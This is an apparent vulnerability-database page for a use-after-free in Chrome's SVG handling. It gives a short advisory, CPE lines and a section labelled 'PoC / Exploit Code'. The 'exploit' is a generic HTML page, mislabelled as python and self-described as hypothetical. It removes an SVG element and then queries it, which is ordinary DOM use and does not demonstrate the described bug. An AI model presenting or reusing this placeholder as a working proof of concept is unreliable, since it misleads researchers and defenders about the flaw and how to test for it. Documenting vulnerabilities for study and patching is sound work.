Use after free in SVG in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7906 (Hypothetical)
This demonstrates a potential trigger for a Use-After-Free in SVG.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7906 PoC</title>
</head>
<body>
<svg id="vuln_svg">
<rect id="target" width="100" height="100" />
</svg>
<script>
// 1. Get reference to the SVG element
var svgElement = document.getElementById('vuln_svg');
var rect = document.getElementById('target');
// 2. Perform operations that might lead to object free
// (Specific logic depends on the exact Chrome internal bug)
function manipulateDOM() {
// Remove the element from DOM, potentially freeing memory if ref count drops
svgElement.removeChild(rect);
// Force layout recalculation or garbage collection hints
var temp = document.body.offsetHeight;
}
manipulateDOM();
// 3. Attempt to reuse the freed object
setTimeout(function() {
try {
// Accessing properties of the potentially freed object
console.log(rect.getBBox());
alert("Object still valid, vulnerability not triggered.");
} catch (e) {
alert("Exception caught: " + e.message);
}
}, 100);
</script>
</body>
</html>